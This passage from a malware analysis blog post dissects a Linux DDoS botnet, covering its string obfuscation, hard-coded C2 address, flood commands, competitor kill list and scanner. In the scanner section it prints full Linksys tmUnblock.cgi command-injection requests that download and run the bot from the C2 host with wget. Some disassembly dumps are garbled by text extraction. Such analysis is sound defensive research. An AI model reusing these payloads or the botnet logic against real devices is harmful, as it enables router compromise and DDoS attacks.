Then the malware tries to connect to the C2 which its IP address is hard-coded in the binary, on a success connection attempt to C2 server, it will parse the commands sent by the C2 to perform three weaponized functions on the binary to perform **TCP**, and **UDP DDoS attack** with either using the specific hex-coded payload, or the latter on is using a custom pattern so-called "**hex-attack**" that sends DoS packet in a hex escape strings format to the targeted host.

I will break it down to more details in its specific functions in the next sections.

## The "encryption" (aka the obfuscation)

The challenge was the "encryption" part, it was I used radare2 with ESIL to see the "encrypted" variables, as per snipped below as PoC:

The decryption is by [shift-1] as per shown in the cascade loop shown in every encoded strings.



(https://lh3.googleusercontent.com/acWcBjk\_zCrSN8cWdv3R16\_Q5rTFA6Bk

6anwMIIgRm70UZmNocYFg7xjoPxulZH7q7tJD73Ke2Py4C8mrz6vWZuCc1 8Y3JUuI-bP1KG5PDR0\_DKijlWcXXm4b-gRfF6Dx0B8JCZo6sw=w915-h957no)

If we want to translate this decryoter scheme, it may look something like this (below), I break it up in 3 functions but in assembly it is all in a function and cascaded to each strings to be decoded:

- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int encrypt\_array() { array\_splitter( "xxxx" ); array\_splitter( "yyyy" ); : } int array\_splitter( char \*src) { strcpy (var\_char\_buffer, src); char\_decrypter(var\_char\_buffer); array\_counter++ return ;
- }

```
int char_decrypter( char *src2)
{
  int i; strcpy (dstring, src2);
  for ( i = 0; strlen (dstring) > i; ++i )
  strcpy (j, dstring);
  return j++
}
```

The result for the "decryption" can be shown as per below, using ESIL with the fake stack can be used to emulate this with the same result, so you don't need to get into the debug mode:

0x00019150		
C0x000187f8	> s 0x000187c8 + 0x40	
0x00018808	> pxx	
- offset -	0123456789ABCDEF0123456789ABCDEF012345678	9ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF01
0x00018808	ufmofu	telnet
0x00018870	ozb	.nya
0x000188d8	{is	zhr
0x00018940	SDDU	root
0x000189a8	ben io.	
0x00018a10	555	444
0x00018a78	limmzpystfmg.	killvourself
0x00018ae0	0aspd0	/proc/
0x00018b48	Onbat.	/maps
0x00018bb0	Odnem jof	/cmdline
0x00018c18	Otubuvt	/status
0x00018c80	Ofvf	/exe

(https://lh3.googleusercontent.com/noBKIHIM7EcFgLjZSxOhKz8LQEpp35Zz 9koi\_UKtJ5Bea4IKoEFZCUQ6n3xGdlm5mQ\_i2VW3imbQw\_05TDuGG5nGq QIXwtza0puf18xcG-eJ8eGdYWML3Fe7BciZIkQUfTPhAKAzA5k=w1334h445-no)

The last four strings:

1 2 3 4 5 /proc/ /maps /cmdline /status /exe

...are used for taking information (process name) from the infected Linux box, that will be used for the malware other functions like "killing" processes, etc. The other decrypted strings are used for infecting purpose (known credentials for telnet operation), and also for other botnet operation related. Understanding the "decrypter" logic used is important because the same decrypter is used again to decode the C2 sent commands to the active bots before parsed and executed.

## The C2, its commands and bot offensive activity

What happened after decryption (encrypt\_array) of these strings is, the binary gets into the loop to call the "connecting" function per 5 seconds. If I try to write C code based on this stage it's going to be like below snipcode:



(https://lh3.googleusercontent.com/7ixBFIfJIpl10tFjuwNZnxM5uST7ui18PCXWrhJkyWsDwDmC3zqsi2U3Oh7KSaA5HXr\_O8 0UuCTK3OEdcIhFG5aVCL42APA1QnMRRNjadXuZ9yVI2\_hDmfQ-K73Il7IWZkFdR49EGc=w1206-h448-no)

Within each loop, when it calls "connecting" function it will try to connect the C2 which is defined a struct sockaddr "addr", pointing to port number (htons) 455 (0x1c7) and IP: "179.43.149[.]189".

[0x0040153c [xAdvc]0 0% 180	cloudbot-mips]	> pd <b>\$r @</b> entry0+4828 ;	# 0x40153c
0x0040153c	afbc0010	sw gp, 0x10(sp)	
0x00401540	8f998268	lw t90x7d98(gp)	; [0x446498:4]=0x402180 ; t9=0x402180 -> 0x5001c3c
0x00401544	8f91827c	lw s1 -0x7d84(gp)	; [0x4464ac:4]=0x446548 ; s1=0x446548
0x00401548	24050002	addiu al. zero. 2	; a1=0x2
0x0040154c	00003021	move a2, zero	; a2=0x0
0x00401550	0320f809	jalr t9	<pre>;[?] ; ra=0x401558 -&gt; 0x1000bc8f ; pc=0x402180 -&gt; 0x5001</pre>
0x00401554	24040002	addiu a0, zero, 2	; a0=0x2
0x00401558	8fbc0010	w gp 0x10(sp)	; gp=0xffffffff s3
0x0040155c	8e230000	lw v1, (s1)	; v1=0x0
0x00401560	8f848198	lw a0 -0x7e68(gp)	; [0x4463c8:4]=0x445ffc ; a0=0x445ffc -> 0xcc4e4000
0x00401564	81908108	Iw s0 -0x7ef8(gp)	; [0x446338:4]=0x446004 ; s0=0x446004
0x00401568	00031880	sll v1, v1, 2	; v1=0x0
0x0040156c	00641821	addu v1, v1, a0	; v1=0x445ffc -> 0xcc4e4000
0x00401570	81998220	lw t9, -0x7de0(gp)	; [0x446450:4]=0x402010 ; t9=0x402010 -> 0x5001c3c
0x00401574	8c640000	lw a0, (v1)	; a0=0x404ecc 179,43,149,189 str.179,43,149,189
0x00401578	ae020000	sw v0, (s0)	
0x0040157c	240301c7	addiu v1, zero, 0x1c7	v1=0x1c7
0x00401580	24020002	addiu v0, zero, 2	; v0=0x2
0x00401584	a7a3001a	sh v1 Ox1a(sp)	
0x00401588	0320f809	jalr t9	<pre>;[?] ; ra=0x401590 -&gt; 0x1000bc8f ; pc=0x402010 -&gt; 0x5001</pre>

(https://lh3.googleusercontent.com/g-kZIP8BUCU-

QDQHpCbOquFlEzAWK4PvlkUj3SKcJtFO1lvfN6FVKsYBrtUhaXAW2jcqlUd O8X9BYAnlqGTBoFVYObdCuNaufaA1DBe1GobXyH81bEYwnG4vkJakv5m AOJ5zEzzQGyc=w1529-h566-no)

When connected to C2, it will listen and receive the data sent by C2, to perform decryption and then to send its decryption result (as per previous logic) to the "**command parsing**" function, that's having "**cmd\_parse**" sub-function inside. The "**command parsing**" is delimiting received command with the

white space " " for the "**cmd\_parse**" to grep three possible keywords of "**udp**", "**tcp**", and "**hex**", which in next paragraph those keywords will be explained further.

Below is the loop when the command from C2 is received (listened) inside the "connecting" function in radare2:



(https://lh3.googleusercontent.com/hM9wjDRiIr8nfh6Xzie\_z0V70SSVksMC1 1zF7Lq9naP8cxw9aMzf4RIGP5NKZxovmvx\_wFNCwg\_AFFHF9kYX2D1XAe wZb3br55KJu3T37T6JilkmR7LvGAfEjiujwqdrPd4Pq2YXMHg=w1682-h809no)

Now we come into the offensive capability of this bot binary. The "udp" keyword will trigger the execution of "**udpattack**" function, "tcp" will execute "**tcpattack**" and so does the "hex" for executing the "**hexattack**" function. Each of the trigger keywords are followed by arguments that are passed to its related attack function, it emphasizes that a textual basis DoS attack command line starting with *udp*, *tcp or hex*, following by the *targets* or *optional attack parameters* are pushed from the C2 to the AirDropBots. Based on experience, the C2 CLI interface of recent DDoS botnets is having such interface matched to this criteria.

TCP and UDP is having the same payload packet in binary is as per below:

[0x00445244	[Xadv	/c]2(	<b>)% 17</b> 2	28 clo	oudbo	t-mips	s]> p;	(a 🖲 e	entry(	)+2825	596 #	0x445	244
- offset -		23	4 5	67	8.9	ΑB	CD	EF		23	45	67	0123456789ABCDEF10123456
	;D03	S_ATT/	KCK_P/	YLOAD	)_								
0x00445244	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	+
0x0044525c	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	+++
0x00445274	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	++
0x0044528c	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	++
0x004452a4	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	++
0x004452bc	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	+
0x004452d4	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	.+
0x004452ec	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	++
0x00445304	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	++
0x0044531c	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	++
0x00445334	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	++.
0x0044534c	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	+
0x00445364	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	++
0x0044537c	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	+
0x00445394	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	++
0x004453ac	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	·····+·····+·····+····
0x004453c4	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	+
0x004453dc	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	+
0x004453f4	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	+
0x0044540c	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	.+
0x00445424	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	++
0x0044543c	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	+++
0x00445454	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	++
0x0044546c	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	2bc3	++.
0x00445484	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	c2a6	+
0x0044549c	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	c2bd	+
0x004454b4	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	c2a6	++
0x004454cc	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	c2b5	+++
0x004454e4	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	c2b6	·····+·····+·····+····
0x004454fc	c2b5	c2a6	c2bd	c2a6	2bc3	91c2	b6c2	b5c2	a6c2	bdc2	a62b	c391	

(https://lh3.googleusercontent.com/Lk2Hc\_RJ1gx6DoJD3ZNE9b0RCWJKTh GTbByQtk5NlnYLcZTMF\_QIkvb7YUO57SGPQvPDJACxY4JTTfg2OEOKW7 EZBrxjtfp04ChDomXYUEx-2ZVbrKmFPkinRUUKJxX\_3xH18t-3qAE=w1175h896-no)

...that is sent from tcpattack() and udpattack() in TCP and UDP different socket connection from the target sent by C2.

The <b>he</b>	<b>xattack</b> is h	aving a di	fferent pa	yload that	looks like th	is:
- offset -	0123456789ABCDEF	0123456789ABCDE	F0123456789AB	CDEF0123456789AE	CDEF0123456789ABC	DEF0123456789AB
0x00404a00	/x38/xFJ/x93/x10	)/x9A/x38/xFJ/x9	33/x1D/x9A/x38	/xFJ/x93/x1D/x9/	<pre>\/x38/xFJ/x93/x1D/x</pre>	x9A/x38/xFJ/x93
0x00404a60	/x9A/x38/xFJ/x93	3/x1D/x9A/x38/xF	J/x93/x1D/x9A	/x38/xFJ/x93/x10	)/x9A/x38/xFJ/x93/x	<pre>kID/x9A/x38/xFJ</pre>
0x00404ac0	/xID/x9A/x38/xF.	J/x93/x1D/x9A/x3	38/xFJ/x93/xID	/x9A/x38/xFJ/x93	3/xID/x9A/x38/xFJ/x	x93/x1D/x9A/x38
0x00404b20	/x93/x1D/x9A/x38	8/xFJ/x93/x1D/x9	A/x38/xFJ/x93	/xID/x9A/x38/xF.	1/x93/x1D/x9A/x38/x	FJ/x93/x1D/x9#
0x00404b80	/xFJ/x93/x1D/x9/	A/x38/xFJ/x93/x1	ID/x9A/x38/xFJ	/x93/xID/x9A/x38	3/xFJ/x93/x1D/x9A/x	x38/xFJ/x93/x10
0x00404be0	/x38/xFJ/x93/x10	0/x9A/x38/xFJ/x9	3/x1D/x9A/x38	/xFJ/x93/xID/x9/	/x38/xFJ/x93/x1D/x	k9A/x38/xFJ/x93

(https://lh3.googleusercontent.com/spFNmVuSFxLv2ZJxkX1d1eaa8ghPhizY1 M3TI4MgAZOZfg12nnCvy3qd7zBeIdwMMnEn2mEin\_X3B6GDB0cfBM9sHj tBjvSz-eVk9tvGFPtVSuvm3NMUpoMW7XLBaJrc-5KeGFTeQuM=w1329h326-no)

One last command is is "killyourself" (taken from decrypted table that was saved in a var) that will stop the scanning function fork with the flow more or less like this:

- 1 2
- 3
- 4

```
5
6
result = strstr (var_parsed_cmd, "killyourself");
if ( result )
{ kill(scanner_fork_PID, 9);
exit (0);
}
return result;
```

..and the kill function above is executing "kill -9" by calling *int kill(\_pid\_t pid, int sig*).

As additional, in the older version, there is also another C2 command called: "http" that will execute "httpattack" function that is using HTTP to perform L7 DoS attack using the combination of User-Agents, but in this sample series I don't see such function.

## Is there any difference between MIPS and other binaries?

Oh yes it has. The Intel and ARM version (or to binary that is having a scanner function) is interestingly having more functions. If I go to details on each functions for Intel binary maybe I will not stop writing this post, so I will summary them below with a pseudo code snips if necessary.

#### 1. The "array\_kill\_list" function

0x0804af8b	7a53 784c 7842	7865 5900 484f	484f 2d4c	zSxLxBxeY_H0H0-L	; str_HOHO_LUG07
0x0804af9b	5547 4f37 0048	4f48 4f2d 5537	394f 4c00	UG07_H0H0-U790L	; str.H0H0_U790L
0x0804afab	4a75 5966 6f75	7966 3837 004e	6947 4765	JuYfouyf87 NiGGe	; str.JuYfouyf87 ; str.NiGGeR69xd
0x0804afbb	5236 3978 6400	534f 3139 3049	6a31 5800	R69xd_S01901j1X	; str.S01901j1X
0x0804afcb	4c4f 4c4b 494b	4545 4544 4445	0045 7830	LOLKIKEEEDDE Ex0	; str.LOLKIKEEEDDE ; str.Ex0420
0x0804afdb	3432 3000 656b	6a68 656f 7279	3938 6500	420 ekjheory98e	; str.ekjheory98e
0x0804afeb	727a 7200 4558	5445 4e44 4f00	7363 616e	rzr EXTENDO scan	; str.EXTENDO ; str.scansh4
0x0804affb	7368 3400 4d44	4d41 0066 6465	7661 6c76	sh4 MDMA fdevalv	; str.MDWA ; str.fdevalvex
0x0804b00b	6578 0073 6361	6e73 7063 004d	454c 5445	ex_scanspc_MELTE	<pre>str.scanspc ; str.MELTEDNINJAREALZ</pre>
0x0804b01b	444e 494e 4a41	5245 414c 5a00	666c 6578	DNINJAREALZ_flex	; str.flexsonskids
0x0804b02b	736f 6e73 6b69	6473 0073 6361	6e78 3836	sonskids_scanx86	; str.scanx86
0x0804b03b	004d 4953 414b	492d 5537 394f	4c00 666f	MISAKI-U790L fo	; str.MISAKI_U790L ; str.foAxi102kxe
0x0804b04b	4178 6931 3032	6b78 6500 7377	6f64 6a77	Axi102kxe_swodjw	; str.swodjwodjwoj
0x0804b05b	6f64 6a77 6f6a	004d 6d4b 6979	3766 3837	odjwoj MmKiy7f87	; str.MnKiy7f87l
0x0804b06b	6c00 6672 6565	636f 6f6b 6965	7838 3600	I freecookiex86	; str.freecookiex86
0x0804b07b	3078 444f 4f44	4241 4146 0073	7973 6770	0xDOODBAAF sysgp	; str.0xD00DBAAF ; str.sysgpu
0x0804b08b	7500 6672 6765	6765 0073 7973	7570 6461	u frgege sysupda	; str.frgege ; str.sysupdater
0x0804b09b	7465 7200 3044	6e41 7a65 7064	004e 6947	ter ODnAzepd NiG	; str.ODnAzepd ; str.NiGGeRDOnks69
0x0804b0ab	4765 5244 306e	6b73 3639 0066	7267 7265	GeRDOnks69, frgre	; str.frgreu
0x0804b0bb	7500 3078 3736	3666 3639 3634	004e 6947	u 0x766f6964 NiG	; str.0x766f6964 ; str.NiGGeRdOnks133
0x0804b0cb	4765 5264 306e	6b73 3133 3337	0067 6166	GeRdOnks1337_gaf	; str.gaft
0x0804b0db	7400 7572 6173	6762 7369 6762	6f61 0031	t urasgbsigboa.1	; str.urasgbsigboa ; str.120i3Ul49
0x0804b0eb	3230 6933 5549	3439 004f 6146	3300 6765	20i3UI49_0aF3_ge	; str.OaF3 ; str.geae
0x0804b0fb	6165 0076 6169	6f6c 6d61 6f00	3132 3331	ae vaiolmao 1231	; str.vaiolmao ; str.123123a
0x0804b10b	3233 6100 4f66	7572 6169 6e30	6e34 4833	23a_Ofurain0n4H3	; str.OfurainOn4H34D
0x0804b11b	3444 0067 6754	7265 7800 6577	0077 6173	4D_ggTrex_ew_was	; str.ggTrex ; str.wasads
0x0804b12b	6164 7300 3132	3933 3139 3468	6a58 4400	ads_1293194hjXD	; str.1293194hjXD
0x0804b13b	4f74 684c 614c	6f73 6e00 6767	7400 7767	OthLaLosn_ggt_wg	; str.OthLaLosn ; str.wget_log
0x0804b14b	6574 2d6c 6f67	0063 7570 7364	6468 0031	et-log.cupsddh.1	; str.cupsddh ; str.1337SoraLOADER
0x0804b15b	3333 3753 6f72	614c 4f41 4445	5200 5341	337SoraLOADER_SA	; str.SAIAKINA
0x0804b16b	4941 4b49 4e41	0061 7464 6464	0073 6b73	IAKINA atddd sks	; str.atddd ; str.sksapdd
0x0804b17b	6170 6464 0067	6774 7100 3133	3738 6266	apdd ggtq 1378bf	; str.ggtq ; str.1378bfp919GRB1Q2
0x0804b18b	7039 3139 4752	4231 5132 0053	4149 414b	p919GRB1Q2_SATAK	; str.SAIAKUSO
0-00041-101-	EEE0 4400 700L	7079 6170 6464	0007 0774	LICO alguna and a such	t atu alayaan dali ti atu watu

This function is used to kill process that matched to these strings:

(https://lh3.googleusercontent.com/HVi8itsXjqMMip7pxra9El0AgDtI7cBiqbF It80GR3fm94LDrkPqntm4huOi4NKKBntBqZO\_Ggxl5HV-V-vk-VkRwI9stSk2I5ZADHqjX52ZalJe6-kbtQ4SmNrBlUiMT\_v\_WvXy3aQ=w1333h917-no)

It seems this is how the bot herder gets rid of the competitor if they're in the same infected Linux box.

This "**array\_kill\_list**" is accessed from killer() function that is being executed before going to "connecting" loop in the main for Intel version.

The killer function is having multiple capability to stop unwanted processes too, it will be too long to describe it one by one but in simple C code and comments as per picture below will be enough to get the idea:



(https://lh3.googleusercontent.com/V0njSMnfXKTOeSHIHYZ8ugh5mPlO06j 5L22DJJPKoW7fXIMEXt1n5zyX1au7-CWQm57lP-2orTQ42EpMfp9OTQN9-57alujKLYU5ZV5Mqr3KXAMyAoQxBs6nXhEiJm5fIEHlRvk-iJI=w1164-

h260-no)

2. The scanner, the spreader via exploit

The bot herder is aiming Lynksys tmUnblock.cgi of a known router's brand, the vulnerability that has to be patched since published 5 years ago. For this purpose, in intel and ARM binaries right after killer() function it runs scanner() function, targeting randomized formed IP addresses, using a hard-coded "payload" data, spoofed its origin by faking the HTTP request headers (for "tcp" or "http" flood), which is aiming TCP port 8080 with the code translated from assembly to simplified C code looks like below:



(https://lh3.googleusercontent.com/jTBJGvnSM7n9\_bEUHmtphthEU3AlHGV ptVEhtqBaBr\_Wh72-

EeDBLo2KxZnuqIr9R23\_b4Pv11xs\_5TdcWIapFgkYWLAmRB916509Zgm6d MQtioHWplwULRxViJ5Qg8wPbfGekwabjI=w1272-h733-no) This scanner is having four pattern of payloads which I quickly paste it below for

your reference if you are either receiving or researching this attack:

181	payload_str[2] =	"POST /tmUnblock.cgi HTTP/1.1\r\n"
182		"Host: 192.168.0.14:80\r\n"
183		"Connection: keep-alive\r\n"
184		"Accept-Encoding: gzip, deflate\r\n"
185		"Accept: */*\r\n"
186		"User-Agent: python-requests/2.20.8\r\n"
187		"Content-Length: 227\r\n"
188		"Content-Type: application/x-www-form-urlencoded\r\n"
189		"\r\n"
190		"ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+linksys.cloudbot%3B+wget+http%3A%2F%2F"
191		"179.43.149.189%2Fbins%2Flinksys.cloudbot%38+chmod+777+linksys.cloudbot%3"
192		"B+.%2Flinksys.cloudbot+linksys.cloudbot%60&action=&ttcp_num=2&ttcp_size="
193		"2&submit_button=&change_action=&commit=0&StartEPI=1";
194		
195	payload_str[1] =	"POST /tmUnblock.cgi HTTP/1.1\r\n"
196		"Host: 192.168.0.14:80\r\n"
197		"Connection: keep-alive\r\n"
198		"Accept-Encoding: gzip, deflate\r\n"
199		"Accept: */*\r\n"
200		"User-Agent: python-requests/2.20.0\r\n"
201		"Content-Length: 227\r\n"
282		"Content-Type: application/x-www-form-urlencoded\r\n"
203		"\r\n"
284		"ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+linksys.cloudbot%3B+wget+http%3A%2F%2F179.43.149.189%2Fbi"
205		"ns%2Flinksys.cloudbot%3B+chmod+777+linksys.cloudbot%3B+.%2Flinksys.cloudbot+linksys.cloudbo"
206		"t%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1"

(https://lh3.googleusercontent.com/hB2-mqV\_8uY9GVoUR\_m8t6YCY5-

8rOl6MLlnKUm\_Pk3NQravN6vA97XoIT11L9qiCU-

7CZRHy3Nr1LZAWI0QiLAGZQK-du-3uMJwqZlr3bX61H-

koBTwLzM6U3P0GSPy88tClXf-pkI=w1446-h621-no)

203		:
264	payload_str[3] =	"POST /tmUnblock.cgi HTTP/1.1\r\n"
205		"Host: %d.%d.%d.%d:80\r\n"
206		"Connection: keep-alive\r\n"
207		"Accept-Encoding: gzip, deflate\r\n"
208		"Accept: */*\r\n"
209		"User-Agent: python-requests/2.20.0\r\n"
210		Content-Length: 227\r\n
211		<pre>"Content-Type: application/x-www-form-urlencoded\r\n"</pre>
212		"\r\n"
213		"ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+linksys.cloudbot%3B+wget+http%3A%2F%"
214		"2F179.43.149.189%2Fbins%2Flinksys.cloudbot%3B+chmod+777+linksys.cloudb"
215		"ot%3B+.%2Flinksys.cloudbot+linksys.cloudbot%60&action=&ttcp_num=2&ttcp"
216		<pre>_size=2&amp;submit_button=&amp;change_action=&amp;commit=0&amp;startEPI=1";</pre>
217		
165	payload_str[4] =	"POST /tmunblock.cg1 HITP/1.1\r\n"
166		"Host: 30.30.30.30.30.30.10/n"
140		"Connection: Keep-alive/\/n"
169		Accept flooding, girp, define (1)
178		"liser-Agent: nuthon-requests/2 28 8\r\n"
171		"Content-Length: 227\r\n"
172		"Content-Type: application/x-www-form-urlencoded/r/n"
173		"\r\0"
174		"ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+linksys.cloudbot%3B+wget+http%3A%2F%2F179.43.149.189%2F"
175		"bins%2Flinksys.cloudbot%3B+chmod+777+linksys.cloudbot%3B+.%2Flinksys.cloudbot+linksys.clo"
176		"udbot%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1"

(https://lh3.googleusercontent.com/okD2EfeRc0W-IzchoGWt59r-L6cHUlHaFE9dtvlT90Zc2LlHsBqGwvV5riwmc9uZTDZLNWV4lybBmEhPz2 033eaQ4zT\_AvAqdruRE8nDSNKY85bgJjVbwPVoytvMKMW9yUiKb0-FhxA=w1521-h781-no)

Maybe one of the thing that I may suggest for this bot's scanner functionality is what it seems like a spoof capability. I examined into low level for code generation of about this part and found what the send syscall performed when AirDrop bot make scanning with exploit is interesting :) please take a look yourself of what has been recorded as per below snipcodes:



(https://lh3.googleusercontent.com/IfTEhUs7ZOe4\_fg800SbN3Z3cMSmZxr0

# UpR2Z\_5hZWT4lPmGh7eWvg7uT5bsT5EdhDIP2XQul9a7dxgNVm-vf06uon\_SI2jIY-

f6Y8US3fIo3AsHfHe6ZCucdEXetFMPVCOrhRoLvi4=w1500-h449-no)

On those "scanner" function supported binary, the spreading scheme is executed with targeting random generated IP addresses by calling sub-function "**get\_random\_ip**" right after the the C2 has been attempted to call, and is using the same socket for multiple effort to infect Linksys CGI vulnerability. Below is the record in re-production this activity:

at	ttempt on networ	rking		
{	socket/PF_TN	ET. SOCK STREAM, TOP	ROTO TP) = 352:"	
	}	cry over_ornering int	1010_11) 55L3	
co	nnection			
	{			
	"connect(352,	{sa family=AF INET,	sin port=htons(455),	sin addr=inet addr("179.43.149.189")}, 16 = 0;".",
	<pre>"connect(352,</pre>	{sa_family-AF_INET,	sin_port-htons(8080),	<pre>sin_addr-inet_addr("173.191.216.44")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	{sa_family=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("132.35.139.44")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	{sa_family=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("223.207.125.9")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	{sa_family=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("136.190.216.44")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("105.73.20.197")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("76.197.246.176")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr-inet_addr("186.231.18.87")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("46.63.215.190")}, 16) = 0;".</pre>
	"connect(352,	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("156.118.239.217")}, 16) = 0;".</pre>
	<pre>"connect(352,</pre>	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("72.20.53.223")}, 16) = 0;".</pre>
	connect(352,	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("35.23.218.31")}, 16) = 0;".</pre>
	connect(352,	<pre>{sa_family-AF_INET,</pre>	sin_port-htons(8080),	<pre>sin_addr-inet_addr("185.117.243.24")}, 16) = 0;".</pre>
	connect(352,	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("173.187.10.186")}, 16) = 0;".</pre>
	connect(352,	<pre>{sa_family=AF_INET,</pre>	<pre>sin_port=htons(8080),</pre>	<pre>sin_addr=inet_addr("97.26.70.2")}, 16) = 0;".</pre>
	connect(352,	{sa_tamily=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("45.249.155.129")}, 16) = 0;".</pre>
	connect(352,	{sa_tam11y=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("96.237.163.110")}, 16) = 0;".</pre>
	connect(352,	{sa_tam11y=AF_INET,	<pre>sin_port-htons(8080),</pre>	<pre>sin_addr-inet_addr("171.154.168.240")}, 16) = 0;".</pre>
	connect(352,	{sa_tam11y=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("205.3.15.194")}, 16) = 0;".</pre>
	connect(352,	{sa_tamliy=AF_INET,	sin_port=htons(8080),	<pre>sin_addr=inet_addr("48.216.3.156")}, 16) = 0;".</pre>
	connect(352,	{sa_tamliy=AF_INET,	sin_port=ntons(8080),	<pre>Sin_addr=inet_addr(~61.238.186.237~)}, 16) = 0; .</pre>
	connect(352,	{sa_tamliy=AF_INET,	sin_port=ntons(8080),	<pre>Sin_addr=inet_addr(~107.61.216.227~)}, 16) = 0; .</pre>
	connect(352,	{sa_tamliy=AF_INET,	sin_port=ntons(8080),	<pre>Sin_addr=inet_addr("120.187.152.97")}, 16) = 0;".</pre>
	connect(352,	(sa_tamily=AF_INET,	sin_port=ntons(8080),	sin_addr=inet_addr([112.122.105.91 )}, 16) = 0; .
	connect(352)	(sa_family=AF_INET)	sin_port_htons(8080);	sin_addr-inet_addr("170.145.155.186")) 16) = 0; .
	"connect(352)	(sa_family=AF_INET)	sin_port=htons(8080);	sin_addr_inet_addr("166_24_226_14")) 16) = 0;
	"connect(352)	(sa_family=AF_INET)	sin_port=htons(8080);	sin_addr_inet_addr("177 75 184 103")) 16) = 0;
	"connect(352	(sa_family=AF_INET)	sin_port=htons(8080)	sin_addr_inet_addr("25_161_115_166")) _ 16) = 0; "
	"connect(352,	(sa_family=AF_INET,	sin_port=htons(8080)	$sin_addr=inet_addr("65.81.184.259")$ , 16) = 0;
	connect(352	(sa family=AF INFT.	sin_port=htons(8080).	$\sin addr=inet addr("152.65.129.228")$ }, 16) = 0:".
	connect(352.	{sa family=AF INET.	sin port=htons(8080).	sin addr=inet addr("122,123,193,65")}, 16) = 0:".
	<pre>connect(352.</pre>	{sa family=AF INET.	sin port=htons(8080).	sin addr=inet addr("50,97,129,122")}, 16) = 0;",
